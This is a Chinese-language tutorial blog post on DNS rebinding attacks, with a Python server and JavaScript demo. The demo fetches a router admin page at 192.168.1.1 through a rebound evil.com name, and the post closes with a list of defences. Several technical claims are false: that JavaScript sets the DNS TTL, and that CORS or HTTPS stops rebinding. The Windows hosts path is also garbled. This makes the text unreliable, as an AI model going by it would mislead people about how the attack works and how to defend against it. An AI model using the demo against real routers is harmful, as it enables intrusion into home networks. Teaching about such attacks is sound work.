探讨 JavaScript 中的 DNS Rebinding 攻击在本地网络中的利用方式和防御策略。

各位观众老爷们,大家好!我是今天的主讲人,咱们今天聊点刺激的——JavaScript 中的 DNS Rebinding 攻击,特别是它在本地网络里搞事情的那点事儿。这玩意儿听起来玄乎,实际上原理简单粗暴,关键是能让你明白“内网安全”这四个字不是闹着玩的。

准备好了吗? Let’s dive in!

一、啥是 DNS Rebinding?别慌,没那么难

DNS Rebinding,顾名思义,就是“DNS 重新绑定”。 简单来说,就是利用 DNS 服务器的缓存机制和浏览器的同源策略(Same-Origin Policy, SOP)的漏洞,让你的浏览器先访问一个你以为可信的域名,然后 DNS 偷偷地把这个域名指向了内网的 IP 地址,从而让你的浏览器在不知情的情况下访问了内网的服务。

想象一下,你兴高采烈地打开一个网页 evil.com,一切正常。但实际上,这个 evil.com 在你第一次访问时指向的是一个公网服务器,这个公网服务器偷偷地在后台干了一些事情(比如设置了一个很短的 DNS TTL),然后等你再次访问 evil.com 的时候,它指向的就变成了你家路由器的 IP 地址 192.168.1.1

浏览器呢?它以为自己还是在访问 evil.com,所以安全策略允许它发送各种请求。但实际上,这些请求全都打到了你的路由器上。 这样,攻击者就能控制你的路由器,或者访问你内网的其他设备了。

二、攻击流程:一步一步攻破你的内网

整个攻击流程大概是这样的:

  1. 受害者访问恶意网站: 攻击者诱骗受害者访问一个精心构造的网站,比如 evil.com
  2. 第一次 DNS 解析: 浏览器向 DNS 服务器请求 evil.com 的 IP 地址。DNS 服务器返回一个公网 IP 地址,比如 1.2.3.4
  3. 恶意网站返回恶意 JavaScript 代码: 浏览器加载 evil.com 的网页,网页中包含恶意的 JavaScript 代码。
  4. 设置短 TTL: 恶意 JavaScript 代码会设置一个很短的 DNS TTL (Time To Live),比如 0 秒或者 1 秒。TTL 决定了 DNS 记录在 DNS 服务器和浏览器中缓存的时间。
  5. 再次 DNS 解析: 恶意 JavaScript 代码会强制浏览器再次请求 evil.com 的 IP 地址。由于 TTL 很短,浏览器会重新向 DNS 服务器发起请求。
  6. 第二次 DNS 解析: 这次,DNS 服务器返回一个内网 IP 地址,比如 192.168.1.1 (你家路由器的地址)。
  7. 浏览器访问内网: 浏览器以为自己还在访问 evil.com,但实际上,它访问的是 192.168.1.1。由于同源策略的限制被绕过,恶意 JavaScript 代码可以向 192.168.1.1 发送任意请求。
  8. 攻击成功: 攻击者控制了你的路由器或者访问了你内网的其他服务。

三、代码实战:模拟一次 DNS Rebinding 攻击

为了更好地理解 DNS Rebinding 攻击,我们来模拟一下。 这次我们用 Python 搭建一个简单的 Web 服务器,并编写一些 JavaScript 代码来模拟攻击过程。

1. Python Web 服务器 (server.py):

from http.server import BaseHTTPRequestHandler, HTTPServer
import time
import socket
import threading

# 内网 IP 地址 (替换成你想要攻击的目标)
TARGET_IP = "192.168.1.1"  # 你的路由器地址
# 公网 IP 地址 (替换成你的服务器地址)
PUBLIC_IP = "1.2.3.4" # 你的公网服务器地址,随意填一个
# 恶意域名
EVIL_DOMAIN = "evil.com"

# 端口
PORT = 8000

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/":
            # 第一次请求:返回包含恶意 JavaScript 代码的 HTML 页面
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            html_content = f"""
            <!DOCTYPE html>
            <html>
            <head>
                <title>Evil Website</title>
                <script>
                    function exploit() {{
                        // 设置短 TTL, 强制浏览器重新解析 DNS
                        setTimeout(function() {{
                            fetch('//{EVIL_DOMAIN}/probe')
                            .then(response => response.text())
                            .then(data => {{
                                document.getElementById('result').innerText = 'Response from target: ' + data;
                            }})
                            .catch(error => {{
                                document.getElementById('result').innerText = 'Error: ' + error;
                            }});
                        }}, 1000); // 延迟 1 秒,给 DNS 足够的时间更新
                    }}

                    // 页面加载后立即执行
                    window.onload = exploit;
                </script>
            </head>
            <body>
                <h1>Welcome to Evil.com!</h1>
                <p>Loading...</p>
                <div id="result"></div>
            </body>
            </html>
            """
            self.wfile.write(html_content.encode())
        elif self.path == "/probe":
            # 第二次请求:如果攻击成功,这里应该返回来自内网服务器的数据
            self.send_response(200)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            self.wfile.write(b"Hello from the target!")
        else:
            self.send_response(404)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            self.wfile.write(b"Not Found")

def run_server():
    server_address = ('', PORT)
    httpd = HTTPServer(server_address, MyHandler)
    print(f"Starting server on port {PORT}...")
    httpd.serve_forever()

# 模拟 DNS 服务器 (简单起见,直接修改 hosts 文件)
def simulate_dns():
    # 第一次解析: evil.com -> PUBLIC_IP
    # 第二次解析: evil.com -> TARGET_IP (内网 IP)
    print("Simulating DNS Rebinding...")
    print(f"First resolution: {EVIL_DOMAIN} -> {PUBLIC_IP}")
    print(f"Second resolution: {EVIL_DOMAIN} -> {TARGET_IP}")
    print("Please manually modify your hosts file to simulate DNS rebinding.")
    print("Example:")
    print(f"127.0.0.1   {EVIL_DOMAIN}")
    print("After 1 second, change it to:")
    print(f"{TARGET_IP}   {EVIL_DOMAIN}")
    time.sleep(1) # 留给你修改 hosts 文件的时间

if __name__ == "__main__":
    # 启动 Web 服务器
    server_thread = threading.Thread(target=run_server)
    server_thread.daemon = True
    server_thread.start()

    # 模拟 DNS 服务器
    simulate_dns()

    # Keep the main thread alive
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("Exiting...")

重要提示:

  • TARGET_IP 替换成你想要攻击的目标的内网 IP 地址,比如你的路由器地址。
  • PUBLIC_IP 替换成你的服务器的公网 IP 地址。
  • EVIL_DOMAIN 恶意域名。
  • Hosts 文件: 这个脚本会告诉你如何修改你的 hosts 文件来模拟 DNS 解析的过程。 这是关键! 你需要先将 evil.com 指向 PUBLIC_IP,然后过一秒钟,再将它指向 TARGET_IPhosts 文件的位置:
    • Windows: C:WindowsSystem32driversetchosts
    • Linux/macOS: /etc/hosts

2. 运行服务器:

在命令行中运行 python server.py

3. 访问恶意网站:

在浏览器中访问 http://evil.com:8000/

4. 观察结果:

如果一切顺利,你应该会在页面上看到类似这样的结果:

  • 第一次: 页面显示 "Loading…",然后会尝试获取来自内网服务器的数据。
  • 第二次(修改 hosts 文件后): 页面显示 "Response from target: Hello from the target!"。 这说明你的浏览器成功地访问了内网服务器。

代码解释:

  • server.py 这是一个简单的 Python Web 服务器,它会返回一个包含恶意 JavaScript 代码的 HTML 页面。
  • JavaScript 代码: 这段代码首先设置一个短 TTL (通过让浏览器稍后重新请求 /probe),然后强制浏览器重新解析 evil.com 的 IP 地址。如果 DNS Rebinding 攻击成功,浏览器就会访问内网服务器,并显示来自内网服务器的响应。
  • simulate_dns() 函数: 这个函数会提示你如何修改你的 hosts 文件来模拟 DNS 解析的过程。 这个函数实际上并没有真的修改 DNS 服务器,它只是告诉你如何手动修改 hosts 文件。

四、攻击演示:获取路由器信息的例子

假设你的路由器有一个管理界面,可以通过 192.168.1.1 访问,并且不需要任何认证。 那么,攻击者可以通过 DNS Rebinding 攻击来获取你的路由器信息。

修改 server.py,将 TARGET_IP 设置为你的路由器地址(例如 192.168.1.1)。 然后,修改 JavaScript 代码,让它发送一个 GET 请求到路由器的管理界面,并获取返回的数据。

function exploit() {
    setTimeout(function() {
        fetch('//evil.com/admin')  // 假设路由器管理界面是 /admin
        .then(response => response.text())
        .then(data => {
            document.getElementById('result').innerText = 'Router Admin Page: ' + data;
        })
        .catch(error => {
            document.getElementById('result').innerText = 'Error: ' + error;
        });
    }, 1000);
}

修改 server.py 中的 MyHandler 类,添加一个处理 /admin 请求的逻辑(为了简化,我们假设路由器不需要任何认证)。

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/":
            # ... (之前的代码)
        elif self.path == "/probe":
            # ... (之前的代码)
        elif self.path == "/admin":
            # 模拟路由器管理界面
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            admin_page = """
            <h1>Router Admin Page</h1>
            <p>Firmware Version: 1.0</p>
            <p>Serial Number: ABC123XYZ</p>
            """
            self.wfile.write(admin_page.encode())
        else:
            self.send_response(404)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            self.wfile.write(b"Not Found")

重新运行 server.py,并访问 http://evil.com:8000/。 如果一切顺利,你将会在页面上看到路由器的管理界面信息。

五、防御策略:保护你的内网

知道了 DNS Rebinding 攻击的原理,我们就可以采取一些措施来防御它。

  1. 禁用路由器上的远程管理: 许多路由器允许从公网访问管理界面。 禁用这个功能可以大大降低 DNS Rebinding 攻击的风险。
  2. 使用最新的路由器固件: 路由器厂商通常会发布固件更新来修复安全漏洞。 确保你的路由器运行的是最新的固件。
  3. 为路由器设置强密码: 即使攻击者能够访问你的路由器,一个强密码也能阻止他们进行进一步的攻击。
  4. 使用 HTTPS: HTTPS 可以加密你的网络流量,防止攻击者窃取你的信息。
  5. 浏览器扩展: 有一些浏览器扩展可以检测和阻止 DNS Rebinding 攻击。
  6. SameSite Cookie 属性: 如果你的 Web 应用使用了 Cookie,可以设置 SameSite 属性来限制 Cookie 的跨域访问。
  7. 检查 Host 头部:服务器端验证Host头部,确保请求确实来自预期的域名。
  8. 公网域名绑定内网 IP 的检测:扫描公网 DNS 记录,避免将公网域名绑定到内网 IP 地址。
  9. HTTP 公钥固定 (HTTP Public Key Pinning, HPKP):尽管 HPKP 已被弃用,但了解其原理有助于理解如何防止中间人攻击。
防御措施 描述 难度 效果
禁用远程管理 阻止从公网访问路由器管理界面
更新路由器固件 修复安全漏洞
设置强密码 阻止未经授权的访问
使用 HTTPS 加密网络流量
浏览器扩展 检测和阻止 DNS Rebinding 攻击
SameSite Cookie 属性 限制 Cookie 的跨域访问
检查 Host 头部 服务器端验证 Host 头部,确保请求来自预期的域名
公网域名绑定内网 IP 检测 扫描公网 DNS 记录,避免将公网域名绑定到内网 IP 地址。

六、高级防御:深入理解浏览器的同源策略

同源策略是浏览器安全的核心。 简单来说,同源策略限制了来自不同源的文档或脚本之间的交互。

什么是“源”?

源由协议、域名和端口号组成。 只有当两个页面的协议、域名和端口号都相同时,它们才被认为是同源的。

URL 协议 域名 端口号 是否同源于 http://example.com
http://example.com http example.com 80
https://example.com https example.com 443 否 (协议不同)
http://example.com:8080 http example.com 8080 否 (端口号不同)
http://www.example.com http www.example.com 80 否 (域名不同)
http://evil.com http evil.com 80 否 (域名不同)

同源策略的限制:

  • Cookie、LocalStorage 和 IndexDB 访问: 只能访问同源的 Cookie、LocalStorage 和 IndexDB 数据。
  • DOM 访问: 不能访问不同源的 DOM 元素。
  • XMLHttpRequest (XHR): 不能向不同源的地址发送 XHR 请求 (CORS 除外)。

CORS (跨域资源共享):

CORS 是一种机制,允许服务器声明哪些源可以访问它的资源。 通过设置 HTTP 响应头 Access-Control-Allow-Origin,服务器可以允许特定的源或者所有源 (使用 *) 访问它的资源。

如何利用 CORS 防御 DNS Rebinding:

如果你的 Web 应用需要访问内网资源,可以配置 CORS,只允许特定的公网域名访问这些资源。 这样,即使攻击者通过 DNS Rebinding 攻击控制了你的浏览器,他们也无法访问内网资源,因为他们的请求不符合 CORS 策略。

七、总结:安全无小事

DNS Rebinding 攻击虽然原理简单,但危害不容小觑。 通过了解其原理和防御策略,我们可以更好地保护我们的内网安全。记住,安全不是一蹴而就的,需要我们不断学习和实践。

好了,今天的讲座就到这里。 希望大家都能成为安全领域的专家! 如果有什么问题,欢迎随时提问。 下次再见!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注